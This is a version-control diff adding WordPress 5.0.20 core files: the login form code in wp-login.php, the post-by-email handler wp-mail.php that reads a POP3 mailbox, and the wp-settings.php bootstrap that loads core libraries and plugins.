+			login_header( '', $message ); ?>
+			</div>
+			<?php
+			/** This action is documented in wp-login.php */
+			do_action( 'login_footer' ); ?>
+			<?php if ( $customize_login ) : ?>
+				<script type="text/javascript">setTimeout( function(){ new wp.customize.Messenger({ url: '<?php echo wp_customize_url(); ?>', channel: 'login' }).send('login') }, 1000 );</script>
+			<?php endif; ?>
+			</body></html>
+<?php		exit;
+		}
+
+		if ( ( empty( $redirect_to ) || $redirect_to == 'wp-admin/' || $redirect_to == admin_url() ) ) {
+			// If the user doesn't belong to a blog, send them to user admin. If the user can't edit posts, send them to their profile.
+			if ( is_multisite() && !get_active_blog_for_user($user->ID) && !is_super_admin( $user->ID ) )
+				$redirect_to = user_admin_url();
+			elseif ( is_multisite() && !$user->has_cap('read') )
+				$redirect_to = get_dashboard_url( $user->ID );
+			elseif ( !$user->has_cap('edit_posts') )
+				$redirect_to = $user->has_cap( 'read' ) ? admin_url( 'profile.php' ) : home_url();
+
+			wp_redirect( $redirect_to );
+			exit();
+		}
+		wp_safe_redirect($redirect_to);
+		exit();
+	}
+
+	$errors = $user;
+	// Clear errors if loggedout is set.
+	if ( !empty($_GET['loggedout']) || $reauth )
+		$errors = new WP_Error();
+
+	if ( $interim_login ) {
+		if ( ! $errors->get_error_code() )
+			$errors->add( 'expired', __( 'Your session has expired. Please log in to continue where you left off.' ), 'message' );
+	} else {
+		// Some parts of this script use the main login form to display a message
+		if		( isset($_GET['loggedout']) && true == $_GET['loggedout'] )
+			$errors->add('loggedout', __('You are now logged out.'), 'message');
+		elseif	( isset($_GET['registration']) && 'disabled' == $_GET['registration'] )
+			$errors->add('registerdisabled', __('User registration is currently not allowed.'));
+		elseif	( isset($_GET['checkemail']) && 'confirm' == $_GET['checkemail'] )
+			$errors->add('confirm', __('Check your email for the confirmation link.'), 'message');
+		elseif	( isset($_GET['checkemail']) && 'newpass' == $_GET['checkemail'] )
+			$errors->add('newpass', __('Check your email for your new password.'), 'message');
+		elseif	( isset($_GET['checkemail']) && 'registered' == $_GET['checkemail'] )
+			$errors->add('registered', __('Registration complete. Please check your email.'), 'message');
+		elseif ( strpos( $redirect_to, 'about.php?updated' ) )
+			$errors->add('updated', __( '<strong>You have successfully updated WordPress!</strong> Please log back in to see what&#8217;s new.' ), 'message' );
+	}
+
+	/**
+	 * Filters the login page errors.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param object $errors      WP Error object.
+	 * @param string $redirect_to Redirect destination URL.
+	 */
+	$errors = apply_filters( 'wp_login_errors', $errors, $redirect_to );
+
+	// Clear any stale cookies.
+	if ( $reauth )
+		wp_clear_auth_cookie();
+
+	login_header(__('Log In'), '', $errors);
+
+	if ( isset($_POST['log']) )
+		$user_login = ( 'incorrect_password' == $errors->get_error_code() || 'empty_password' == $errors->get_error_code() ) ? esc_attr(wp_unslash($_POST['log'])) : '';
+	$rememberme = ! empty( $_POST['rememberme'] );
+
+	if ( ! empty( $errors->errors ) ) {
+		$aria_describedby_error = ' aria-describedby="login_error"';
+	} else {
+		$aria_describedby_error = '';
+	}
+?>
+
+<form name="loginform" id="loginform" action="<?php echo esc_url( site_url( 'wp-login.php', 'login_post' ) ); ?>" method="post">
+	<p>
+		<label for="user_login"><?php _e( 'Username or Email Address' ); ?><br />
+		<input type="text" name="log" id="user_login"<?php echo $aria_describedby_error; ?> class="input" value="<?php echo esc_attr( $user_login ); ?>" size="20" /></label>
+	</p>
+	<p>
+		<label for="user_pass"><?php _e( 'Password' ); ?><br />
+		<input type="password" name="pwd" id="user_pass"<?php echo $aria_describedby_error; ?> class="input" value="" size="20" /></label>
+	</p>
+	<?php
+	/**
+	 * Fires following the 'Password' field in the login form.
+	 *
+	 * @since 2.1.0
+	 */
+	do_action( 'login_form' );
+	?>
+	<p class="forgetmenot"><label for="rememberme"><input name="rememberme" type="checkbox" id="rememberme" value="forever" <?php checked( $rememberme ); ?> /> <?php esc_html_e( 'Remember Me' ); ?></label></p>
+	<p class="submit">
+		<input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e('Log In'); ?>" />
+<?php	if ( $interim_login ) { ?>
+		<input type="hidden" name="interim-login" value="1" />
+<?php	} else { ?>
+		<input type="hidden" name="redirect_to" value="<?php echo esc_attr($redirect_to); ?>" />
+<?php 	} ?>
+<?php   if ( $customize_login ) : ?>
+		<input type="hidden" name="customize-login" value="1" />
+<?php   endif; ?>
+		<input type="hidden" name="testcookie" value="1" />
+	</p>
+</form>
+
+<?php if ( ! $interim_login ) { ?>
+<p id="nav">
+<?php if ( ! isset( $_GET['checkemail'] ) || ! in_array( $_GET['checkemail'], array( 'confirm', 'newpass' ) ) ) :
+	if ( get_option( 'users_can_register' ) ) :
+		$registration_url = sprintf( '<a href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) );
+
+		/** This filter is documented in wp-includes/general-template.php */
+		echo apply_filters( 'register', $registration_url );
+
+		echo esc_html( $login_link_separator );
+	endif;
+	?>
+	<a href="<?php echo esc_url( wp_lostpassword_url() ); ?>"><?php _e( 'Lost your password?' ); ?></a>
+<?php endif; ?>
+</p>
+<?php } ?>
+
+<script type="text/javascript">
+function wp_attempt_focus(){
+setTimeout( function(){ try{
+<?php if ( $user_login ) { ?>
+d = document.getElementById('user_pass');
+d.value = '';
+<?php } else { ?>
+d = document.getElementById('user_login');
+<?php if ( 'invalid_username' == $errors->get_error_code() ) { ?>
+if( d.value != '' )
+d.value = '';
+<?php
+}
+}?>
+d.focus();
+d.select();
+} catch(e){}
+}, 200);
+}
+
+<?php
+/**
+ * Filters whether to print the call to `wp_attempt_focus()` on the login screen.
+ *
+ * @since 4.8.0
+ *
+ * @param bool $print Whether to print the function call. Default true.
+ */
+if ( apply_filters( 'enable_login_autofocus', true ) && ! $error ) { ?>
+wp_attempt_focus();
+<?php } ?>
+if(typeof wpOnload=='function')wpOnload();
+<?php if ( $interim_login ) { ?>
+(function(){
+try {
+	var i, links = document.getElementsByTagName('a');
+	for ( i in links ) {
+		if ( links[i].href )
+			links[i].target = '_blank';
+	}
+} catch(e){}
+}());
+<?php } ?>
+</script>
+
+<?php
+login_footer();
+
+break;
+} // end action switch
Index: /tags/5.0.20/src/wp-mail.php
===================================================================
--- /tags/5.0.20/src/wp-mail.php	(revision 56912)
+++ /tags/5.0.20/src/wp-mail.php	(revision 56912)
@@ -0,0 +1,254 @@
+<?php
+/**
+ * Gets the email message from the user's mailbox to add as
+ * a WordPress post. Mailbox connection information must be
+ * configured under Settings > Writing
+ *
+ * @package WordPress
+ */
+
+/** Make sure that the WordPress bootstrap has run before continuing. */
+require(dirname(__FILE__) . '/wp-load.php');
+
+/** This filter is documented in wp-admin/options.php */
+if ( ! apply_filters( 'enable_post_by_email_configuration', true ) )
+	wp_die( __( 'This action has been disabled by the administrator.' ), 403 );
+
+$mailserver_url = get_option( 'mailserver_url' );
+
+if ( 'mail.example.com' === $mailserver_url || empty( $mailserver_url ) ) {
+	wp_die( __( 'This action has been disabled by the administrator.' ), 403 );
+}
+
+/**
+ * Fires to allow a plugin to do a complete takeover of Post by Email.
+ *
+ * @since 2.9.0
+ */
+do_action( 'wp-mail.php' );
+
+/** Get the POP3 class with which to access the mailbox. */
+require_once( ABSPATH . WPINC . '/class-pop3.php' );
+
+/** Only check at this interval for new messages. */
+if ( !defined('WP_MAIL_INTERVAL') )
+	define('WP_MAIL_INTERVAL', 300); // 5 minutes
+
+$last_checked = get_transient('mailserver_last_checked');
+
+if ( $last_checked )
+	wp_die(__('Slow down cowboy, no need to check for new mails so often!'));
+
+set_transient('mailserver_last_checked', true, WP_MAIL_INTERVAL);
+
+$time_difference = get_option('gmt_offset') * HOUR_IN_SECONDS;
+
+$phone_delim = '::';
+
+$pop3 = new POP3();
+
+if ( !$pop3->connect( get_option('mailserver_url'), get_option('mailserver_port') ) || !$pop3->user( get_option('mailserver_login') ) )
+	wp_die( esc_html( $pop3->ERROR ) );
+
+$count = $pop3->pass( get_option('mailserver_pass') );
+
+if( false === $count )
+	wp_die( esc_html( $pop3->ERROR ) );
+
+if( 0 === $count ) {
+	$pop3->quit();
+	wp_die( __('There doesn&#8217;t seem to be any new mail.') );
+}
+
+// Always run as an unauthenticated user.
+wp_set_current_user( 0 );
+
+for ( $i = 1; $i <= $count; $i++ ) {
+
+	$message = $pop3->get($i);
+
+	$bodysignal = false;
+	$boundary = '';
+	$charset = '';
+	$content = '';
+	$content_type = '';
+	$content_transfer_encoding = '';
+	$post_author = 1;
+	$author_found = false;
+	foreach ($message as $line) {
+		// Body signal.
+		if ( strlen($line) < 3 )
+			$bodysignal = true;
+		if ( $bodysignal ) {
+			$content .= $line;
+		} else {
+			if ( preg_match('/Content-Type: /i', $line) ) {
+				$content_type = trim($line);
+				$content_type = substr($content_type, 14, strlen($content_type) - 14);
+				$content_type = explode(';', $content_type);
+				if ( ! empty( $content_type[1] ) ) {
+					$charset = explode('=', $content_type[1]);
+					$charset = ( ! empty( $charset[1] ) ) ? trim($charset[1]) : '';
+				}
+				$content_type = $content_type[0];
+			}
+			if ( preg_match('/Content-Transfer-Encoding: /i', $line) ) {
+				$content_transfer_encoding = trim($line);
+				$content_transfer_encoding = substr($content_transfer_encoding, 27, strlen($content_transfer_encoding) - 27);
+				$content_transfer_encoding = explode(';', $content_transfer_encoding);
+				$content_transfer_encoding = $content_transfer_encoding[0];
+			}
+			if ( ( $content_type == 'multipart/alternative' ) && ( false !== strpos($line, 'boundary="') ) && ( '' == $boundary ) ) {
+				$boundary = trim($line);
+				$boundary = explode('"', $boundary);
+				$boundary = $boundary[1];
+			}
+			if (preg_match('/Subject: /i', $line)) {
+				$subject = trim($line);
+				$subject = substr($subject, 9, strlen($subject) - 9);
+				// Captures any text in the subject before $phone_delim as the subject
+				if ( function_exists('iconv_mime_decode') ) {
+					$subject = iconv_mime_decode($subject, 2, get_option('blog_charset'));
+				} else {
+					$subject = wp_iso_descrambler($subject);
+				}
+				$subject = explode($phone_delim, $subject);
+				$subject = $subject[0];
+			}
+
+			/*
+			 * Set the author using the email address (From or Reply-To, the last used)
+			 * otherwise use the site admin.
+			 */
+			if ( ! $author_found && preg_match( '/^(From|Reply-To): /', $line ) ) {
+				if ( preg_match('|[a-z0-9_.-]+@[a-z0-9_.-]+(?!.*<)|i', $line, $matches) )
+					$author = $matches[0];
+				else
+					$author = trim($line);
+				$author = sanitize_email($author);
+				if ( is_email($author) ) {
+					$userdata = get_user_by('email', $author);
+					if ( ! empty( $userdata ) ) {
+						$post_author  = $userdata->ID;
+						$author_found = true;
+					}
+				}
+			}
+
+			if ( preg_match( '/Date: /i', $line ) ) { // of the form '20 Mar 2002 20:32:37 +0100'
+				$ddate = str_replace( 'Date: ', '', trim( $line ) );
+				$ddate = preg_replace( '!\s*\(.+\)\s*$!', '', $ddate );	// remove parenthesised timezone string if it exists, as this confuses strtotime
+				$ddate_U = strtotime( $ddate );
+				$post_date = gmdate( 'Y-m-d H:i:s', $ddate_U + $time_difference );
+				$post_date_gmt = gmdate( 'Y-m-d H:i:s', $ddate_U );
+			}
+		}
+	}
+
+	// Set $post_status based on $author_found and on author's publish_posts capability
+	if ( $author_found ) {
+		$user = new WP_User($post_author);
+		$post_status = ( $user->has_cap('publish_posts') ) ? 'publish' : 'pending';
+	} else {
+		// Author not found in DB, set status to pending. Author already set to admin.
+		$post_status = 'pending';
+	}
+
+	$subject = trim($subject);
+
+	if ( $content_type == 'multipart/alternative' ) {
+		$content = explode('--'.$boundary, $content);
+		$content = $content[2];
+
+		// Match case-insensitive content-transfer-encoding.
+		if ( preg_match( '/Content-Transfer-Encoding: quoted-printable/i', $content, $delim) ) {
+			$content = explode($delim[0], $content);
+			$content = $content[1];
+		}
+		$content = strip_tags($content, '<img><p><br><i><b><u><em><strong><strike><font><span><div>');
+	}
+	$content = trim($content);
+
+	/**
+	 * Filters the original content of the email.
+	 *
+	 * Give Post-By-Email extending plugins full access to the content, either
+	 * the raw content, or the content of the last quoted-printable section.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $content The original email content.
+	 */
+	$content = apply_filters( 'wp_mail_original_content', $content );
+
+	if ( false !== stripos($content_transfer_encoding, "quoted-printable") ) {
+		$content = quoted_printable_decode($content);
+	}
+
+	if ( function_exists('iconv') && ! empty( $charset ) ) {
+		$content = iconv($charset, get_option('blog_charset'), $content);
+	}
+
+	// Captures any text in the body after $phone_delim as the body
+	$content = explode($phone_delim, $content);
+	$content = empty( $content[1] ) ? $content[0] : $content[1];
+
+	$content = trim($content);
+
+	/**
+	 * Filters the content of the post submitted by email before saving.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param string $content The email content.
+	 */
+	$post_content = apply_filters( 'phone_content', $content );
+
+	$post_title = xmlrpc_getposttitle($content);
+
+	if ($post_title == '') $post_title = $subject;
+
+	$post_category = array(get_option('default_email_category'));
+
+	$post_data = compact('post_content','post_title','post_date','post_date_gmt','post_author','post_category', 'post_status');
+	$post_data = wp_slash($post_data);
+
+	$post_ID = wp_insert_post($post_data);
+	if ( is_wp_error( $post_ID ) )
+		echo "\n" . $post_ID->get_error_message();
+
+	// We couldn't post, for whatever reason. Better move forward to the next email.
+	if ( empty( $post_ID ) )
+		continue;
+
+	/**
+	 * Fires after a post submitted by email is published.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param int $post_ID The post ID.
+	 */
+	do_action( 'publish_phone', $post_ID );
+
+	echo "\n<p><strong>" . __( 'Author:' ) . '</strong> ' . esc_html( $post_author ) . '</p>';
+	echo "\n<p><strong>" . __( 'Posted title:' ) . '</strong> ' . esc_html( $post_title ) . '</p>';
+
+	if(!$pop3->delete($i)) {
+		echo '<p>' . sprintf(
+			/* translators: %s: POP3 error */
+			__( 'Oops: %s' ),
+			esc_html( $pop3->ERROR )
+		) . '</p>';
+		$pop3->reset();
+		exit;
+	} else {
+		echo '<p>' . sprintf(
+			/* translators: %s: the message ID */
+			__( 'Mission complete. Message %s deleted.' ),
+			'<strong>' . $i . '</strong>'
+		) . '</p>';
+	}
+
+}
+
+$pop3->quit();
Index: /tags/5.0.20/src/wp-settings.php
===================================================================
--- /tags/5.0.20/src/wp-settings.php	(revision 56912)
+++ /tags/5.0.20/src/wp-settings.php	(revision 56912)
@@ -0,0 +1,488 @@
+<?php
+/**
+ * Used to set up and fix common variables and include
+ * the WordPress procedural and class library.
+ *
+ * Allows for some configuration in wp-config.php (see default-constants.php)
+ *
+ * @package WordPress
+ */
+
+/**
+ * Stores the location of the WordPress directory of functions, classes, and core content.
+ *
+ * @since 1.0.0
+ */
+define( 'WPINC', 'wp-includes' );
+
+// Include files required for initialization.
+require( ABSPATH . WPINC . '/load.php' );
+require( ABSPATH . WPINC . '/default-constants.php' );
+require_once( ABSPATH . WPINC . '/plugin.php' );
+
+/*
+ * These can't be directly globalized in version.php. When updating,
+ * we're including version.php from another installation and don't want
+ * these values to be overridden if already set.
+ */
+global $wp_version, $wp_db_version, $tinymce_version, $required_php_version, $required_mysql_version, $wp_local_package;
+require( ABSPATH . WPINC . '/version.php' );
+
+/**
+ * If not already configured, `$blog_id` will default to 1 in a single site
+ * configuration. In multisite, it will be overridden by default in ms-settings.php.
+ *
+ * @global int $blog_id
+ * @since 2.0.0
+ */
+global $blog_id;
+
+// Set initial default constants including WP_MEMORY_LIMIT, WP_MAX_MEMORY_LIMIT, WP_DEBUG, SCRIPT_DEBUG, WP_CONTENT_DIR and WP_CACHE.
+wp_initial_constants();
+
+// Check for the required PHP version and for the MySQL extension or a database drop-in.
+wp_check_php_mysql_versions();
+
+// Disable magic quotes at runtime. Magic quotes are added using wpdb later in wp-settings.php.
+@ini_set( 'magic_quotes_runtime', 0 );
+@ini_set( 'magic_quotes_sybase',  0 );
+
+// WordPress calculates offsets from UTC.
+date_default_timezone_set( 'UTC' );
+
+// Turn register_globals off.
+wp_unregister_GLOBALS();
+
+// Standardize $_SERVER variables across setups.
+wp_fix_server_vars();
+
+// Check if we have received a request due to missing favicon.ico
+wp_favicon_request();
+
+// Check if we're in maintenance mode.
+wp_maintenance();
+
+// Start loading timer.
+timer_start();
+
+// Check if we're in WP_DEBUG mode.
+wp_debug_mode();
+
+/**
+ * Filters whether to enable loading of the advanced-cache.php drop-in.
+ *
+ * This filter runs before it can be used by plugins. It is designed for non-web
+ * run-times. If false is returned, advanced-cache.php will never be loaded.
+ *
+ * @since 4.6.0
+ *
+ * @param bool $enable_advanced_cache Whether to enable loading advanced-cache.php (if present).
+ *                                    Default true.
+ */
+if ( WP_CACHE && apply_filters( 'enable_loading_advanced_cache_dropin', true ) ) {
+	// For an advanced caching plugin to use. Uses a static drop-in because you would only want one.
+	WP_DEBUG ? include( WP_CONTENT_DIR . '/advanced-cache.php' ) : @include( WP_CONTENT_DIR . '/advanced-cache.php' );
+
+	// Re-initialize any hooks added manually by advanced-cache.php
+	if ( $wp_filter ) {
+		$wp_filter = WP_Hook::build_preinitialized_hooks( $wp_filter );
+	}
+}
+
+// Define WP_LANG_DIR if not set.
+wp_set_lang_dir();
+
+// Load early WordPress files.
+require( ABSPATH . WPINC . '/compat.php' );
+require( ABSPATH . WPINC . '/class-wp-list-util.php' );
+require( ABSPATH . WPINC . '/functions.php' );
+require( ABSPATH . WPINC . '/class-wp-matchesmapregex.php' );
+require( ABSPATH . WPINC . '/class-wp.php' );
+require( ABSPATH . WPINC . '/class-wp-error.php' );
+require( ABSPATH . WPINC . '/pomo/mo.php' );
+
+// Include the wpdb class and, if present, a db.php database drop-in.
+global $wpdb;
+require_wp_db();
+
+// Set the database table prefix and the format specifiers for database table columns.
+$GLOBALS['table_prefix'] = $table_prefix;
+wp_set_wpdb_vars();
+
+// Start the WordPress object cache, or an external object cache if the drop-in is present.
+wp_start_object_cache();
+
+// Attach the default filters.
+require( ABSPATH . WPINC . '/default-filters.php' );
+
+// Initialize multisite if enabled.
+if ( is_multisite() ) {
+	require( ABSPATH . WPINC . '/class-wp-site-query.php' );
+	require( ABSPATH . WPINC . '/class-wp-network-query.php' );
+	require( ABSPATH . WPINC . '/ms-blogs.php' );
+	require( ABSPATH . WPINC . '/ms-settings.php' );
+} elseif ( ! defined( 'MULTISITE' ) ) {
+	define( 'MULTISITE', false );
+}
+
+register_shutdown_function( 'shutdown_action_hook' );
+
+// Stop most of WordPress from being loaded if we just want the basics.
+if ( SHORTINIT )
+	return false;
+
+// Load the L10n library.
+require_once( ABSPATH . WPINC . '/l10n.php' );
+require_once( ABSPATH . WPINC . '/class-wp-locale.php' );
+require_once( ABSPATH . WPINC . '/class-wp-locale-switcher.php' );
+
+// Run the installer if WordPress is not installed.
+wp_not_installed();
+
+// Load most of WordPress.
+require( ABSPATH . WPINC . '/class-wp-walker.php' );
+require( ABSPATH . WPINC . '/class-wp-ajax-response.php' );
+require( ABSPATH . WPINC . '/formatting.php' );
+require( ABSPATH . WPINC . '/capabilities.php' );
+require( ABSPATH . WPINC . '/class-wp-roles.php' );
+require( ABSPATH . WPINC . '/class-wp-role.php' );
+require( ABSPATH . WPINC . '/class-wp-user.php' );
+require( ABSPATH . WPINC . '/class-wp-query.php' );
+require( ABSPATH . WPINC . '/query.php' );
+require( ABSPATH . WPINC . '/date.php' );
+require( ABSPATH . WPINC . '/theme.php' );
+require( ABSPATH . WPINC . '/class-wp-theme.php' );
+require( ABSPATH . WPINC . '/template.php' );
+require( ABSPATH . WPINC . '/user.php' );
+require( ABSPATH . WPINC . '/class-wp-user-query.php' );
+require( ABSPATH . WPINC . '/class-wp-session-tokens.php' );
+require( ABSPATH . WPINC . '/class-wp-user-meta-session-tokens.php' );
+require( ABSPATH . WPINC . '/meta.php' );
+require( ABSPATH . WPINC . '/class-wp-meta-query.php' );
+require( ABSPATH . WPINC . '/class-wp-metadata-lazyloader.php' );
+require( ABSPATH . WPINC . '/general-template.php' );
+require( ABSPATH . WPINC . '/link-template.php' );
+require( ABSPATH . WPINC . '/author-template.php' );
+require( ABSPATH . WPINC . '/post.php' );
+require( ABSPATH . WPINC . '/class-walker-page.php' );
+require( ABSPATH . WPINC . '/class-walker-page-dropdown.php' );
+require( ABSPATH . WPINC . '/class-wp-post-type.php' );
+require( ABSPATH . WPINC . '/class-wp-post.php' );
+require( ABSPATH . WPINC . '/post-template.php' );
+require( ABSPATH . WPINC . '/revision.php' );
+require( ABSPATH . WPINC . '/post-formats.php' );
+require( ABSPATH . WPINC . '/post-thumbnail-template.php' );
+require( ABSPATH . WPINC . '/category.php' );
+require( ABSPATH . WPINC . '/class-walker-category.php' );
+require( ABSPATH . WPINC . '/class-walker-category-dropdown.php' );
+require( ABSPATH . WPINC . '/category-template.php' );
+require( ABSPATH . WPINC . '/comment.php' );
+require( ABSPATH . WPINC . '/class-wp-comment.php' );
+require( ABSPATH . WPINC . '/class-wp-comment-query.php' );
+require( ABSPATH . WPINC . '/class-walker-comment.php' );
+require( ABSPATH . WPINC . '/comment-template.php' );
+require( ABSPATH . WPINC . '/rewrite.php' );
+require( ABSPATH . WPINC . '/class-wp-rewrite.php' );
+require( ABSPATH . WPINC . '/feed.php' );
+require( ABSPATH . WPINC . '/bookmark.php' );
+require( ABSPATH . WPINC . '/bookmark-template.php' );
+require( ABSPATH . WPINC . '/kses.php' );
+require( ABSPATH . WPINC . '/cron.php' );
+require( ABSPATH . WPINC . '/deprecated.php' );
+require( ABSPATH . WPINC . '/script-loader.php' );
+require( ABSPATH . WPINC . '/taxonomy.php' );
+require( ABSPATH . WPINC . '/class-wp-taxonomy.php' );
+require( ABSPATH . WPINC . '/class-wp-term.php' );
+require( ABSPATH . WPINC . '/class-wp-term-query.php' );
+require( ABSPATH . WPINC . '/class-wp-tax-query.php' );
+require( ABSPATH . WPINC . '/update.php' );
+require( ABSPATH . WPINC . '/canonical.php' );
+require( ABSPATH . WPINC . '/shortcodes.php' );
+require( ABSPATH . WPINC . '/embed.php' );
+require( ABSPATH . WPINC . '/class-wp-embed.php' );
+require( ABSPATH . WPINC . '/class-oembed.php' );
+require( ABSPATH . WPINC . '/class-wp-oembed-controller.php' );
+require( ABSPATH . WPINC . '/media.php' );
+require( ABSPATH . WPINC . '/http.php' );
+require( ABSPATH . WPINC . '/class-http.php' );
+require( ABSPATH . WPINC . '/class-wp-http-streams.php' );
+require( ABSPATH . WPINC . '/class-wp-http-curl.php' );
+require( ABSPATH . WPINC . '/class-wp-http-proxy.php' );
+require( ABSPATH . WPINC . '/class-wp-http-cookie.php' );
+require( ABSPATH . WPINC . '/class-wp-http-encoding.php' );
+require( ABSPATH . WPINC . '/class-wp-http-response.php' );
+require( ABSPATH . WPINC . '/class-wp-http-requests-response.php' );
+require( ABSPATH . WPINC . '/class-wp-http-requests-hooks.php' );
+require( ABSPATH . WPINC . '/widgets.php' );
+require( ABSPATH . WPINC . '/class-wp-widget.php' );
+require( ABSPATH . WPINC . '/class-wp-widget-factory.php' );
+require( ABSPATH . WPINC . '/nav-menu.php' );
+require( ABSPATH . WPINC . '/nav-menu-template.php' );
+require( ABSPATH . WPINC . '/admin-bar.php' );
+require( ABSPATH . WPINC . '/rest-api.php' );
+require( ABSPATH . WPINC . '/rest-api/class-wp-rest-server.php' );
+require( ABSPATH . WPINC . '/rest-api/class-wp-rest-response.php' );
+require( ABSPATH . WPINC . '/rest-api/class-wp-rest-request.php' );
+require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-controller.php' );
+require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-posts-controller.php' );
+require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-attachments-controller.php' );
+require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-post-types-controller.php' );
+require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-post-statuses-controller.php' );
+require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-revisions-controller.php' );
+require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-autosaves-controller.php' );
+require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-taxonomies-controller.php' );
+require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-terms-controller.php' );
+require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-users-controller.php' );
+require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-comments-controller.php' );
+require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-search-controller.php' );
+require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-blocks-controller.php' );
+require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-block-renderer-controller.php' );
+require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-settings-controller.php' );
+require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-themes-controller.php' );
+require( ABSPATH . WPINC . '/rest-api/fields/class-wp-rest-meta-fields.php' );
+require( ABSPATH . WPINC . '/rest-api/fields/class-wp-rest-comment-meta-fields.php' );
+require( ABSPATH . WPINC . '/rest-api/fields/class-wp-rest-post-meta-fields.php' );
+require( ABSPATH . WPINC . '/rest-api/fields/class-wp-rest-term-meta-fields.php' );
+require( ABSPATH . WPINC . '/rest-api/fields/class-wp-rest-user-meta-fields.php' );
+require( ABSPATH . WPINC . '/rest-api/search/class-wp-rest-search-handler.php' );
+require( ABSPATH . WPINC . '/rest-api/search/class-wp-rest-post-search-handler.php' );
+require( ABSPATH . WPINC . '/class-wp-block-type.php' );
+require( ABSPATH . WPINC . '/class-wp-block-type-registry.php' );
+require( ABSPATH . WPINC . '/class-wp-block-parser.php' );
+require( ABSPATH . WPINC . '/blocks.php' );
+require( ABSPATH . WPINC . '/blocks/archives.php' );
+require( ABSPATH . WPINC . '/blocks/block.php' );
+require( ABSPATH . WPINC . '/blocks/categories.php' );
+require( ABSPATH . WPINC . '/blocks/latest-comments.php' );
+require( ABSPATH . WPINC . '/blocks/latest-posts.php' );
+require( ABSPATH . WPINC . '/blocks/shortcode.php' );
+
+$GLOBALS['wp_embed'] = new WP_Embed();
+
+// Load multisite-specific files.
+if ( is_multisite() ) {
+	require( ABSPATH . WPINC . '/ms-functions.php' );
+	require( ABSPATH . WPINC . '/ms-default-filters.php' );
+	require( ABSPATH . WPINC . '/ms-deprecated.php' );
+}
+
+// Define constants that rely on the API to obtain the default value.
+// Define must-use plugin directory constants, which may be overridden in the sunrise.php drop-in.
+wp_plugin_directory_constants();
+
+$GLOBALS['wp_plugin_paths'] = array();
+
+// Load must-use plugins.
+foreach ( wp_get_mu_plugins() as $mu_plugin ) {
+	include_once( $mu_plugin );
+}
+unset( $mu_plugin );
+
+// Load network activated plugins.
+if ( is_multisite() ) {
+	foreach ( wp_get_active_network_plugins() as $network_plugin ) {
+		wp_register_plugin_realpath( $network_plugin );
+		include_once( $network_plugin );
+	}
+	unset( $network_plugin );
+}
+
+/**
+ * Fires once all must-use and network-activated plugins have loaded.
+ *
+ * @since 2.8.0
+ */
+do_action( 'muplugins_loaded' );
+
+if ( is_multisite() )
+	ms_cookie_constants(  );
+
+// Define constants after multisite is loaded.
+wp_cookie_constants();
+
+// Define and enforce our SSL constants
+wp_ssl_constants();
+
+// Create common globals.
+require( ABSPATH . WPINC . '/vars.php' );
+
+// Make taxonomies and posts available to plugins and themes.
+// @plugin authors: warning: these get registered again on the init hook.
+create_initial_taxonomies();
+create_initial_post_types();
+
+wp_start_scraping_edited_file_errors();
+
+// Register the default theme directory root
+register_theme_directory( get_theme_root() );
+
+// Load active plugins.
+foreach ( wp_get_active_and_valid_plugins() as $plugin ) {
+	wp_register_plugin_realpath( $plugin );
+	include_once( $plugin );
+}
+unset( $plugin );
+
+// Load pluggable functions.
+require( ABSPATH . WPINC . '/pluggable.php' );
+require( ABSPATH . WPINC . '/pluggable-deprecated.php' );
+
+// Set internal encoding.
+wp_set_internal_encoding();
+
+// Run wp_cache_postload() if object cache is enabled and the function exists.
+if ( WP_CACHE && function_exists( 'wp_cache_postload' ) )
+	wp_cache_postload();
+
+/**
+ * Fires once activated plugins have loaded.
+ *
+ * Pluggable functions are also available at this point in the loading order.
+ *
+ * @since 1.5.0
+ */
+do_action( 'plugins_loaded' );
+
+// Define constants which affect functionality if not already defined.
+wp_functionality_constants();
+
+// Add magic quotes and set up $_REQUEST ( $_GET + $_POST )
+wp_magic_quotes();
+
+/**
+ * Fires when comment cookies are sanitized.
+ *
+ * @since 2.0.11
+ */
+do_action( 'sanitize_comment_cookies' );
+
+/**
+ * WordPress Query object
+ * @global WP_Query $wp_the_query
+ * @since 2.0.0
+ */
+$GLOBALS['wp_the_query'] = new WP_Query();
+
+/**
+ * Holds the reference to @see $wp_the_query
+ * Use this global for WordPress queries
+ * @global WP_Query $wp_query
+ * @since 1.5.0
+ */
+$GLOBALS['wp_query'] = $GLOBALS['wp_the_query'];
+
+/**
+ * Holds the WordPress Rewrite object for creating pretty URLs
+ * @global WP_Rewrite $wp_rewrite
+ * @since 1.5.0
+ */
+$GLOBALS['wp_rewrite'] = new WP_Rewrite();
+
+/**
+ * WordPress Object
+ * @global WP $wp
+ * @since 2.0.0
+ */
+$GLOBALS['wp'] = new WP();
+
+/**
+ * WordPress Widget Factory Object
+ * @global WP_Widget_Factory $wp_widget_factory
+ * @since 2.8.0
+ */
+$GLOBALS['wp_widget_factory'] = new WP_Widget_Factory();
+
+/**
+ * WordPress User Roles
+ * @global WP_Roles $wp_roles
+ * @since 2.0.0
+ */
+$GLOBALS['wp_roles'] = new WP_Roles();
+
+/**
+ * Fires before the theme is loaded.
+ *
+ * @since 2.6.0
+ */
+do_action( 'setup_theme' );
+
+// Define the template related constants.
+wp_templating_constants(  );
+
+// Load the default text localization domain.
+load_default_textdomain();
+
+$locale = get_locale();
+$locale_file = WP_LANG_DIR . "/$locale.php";
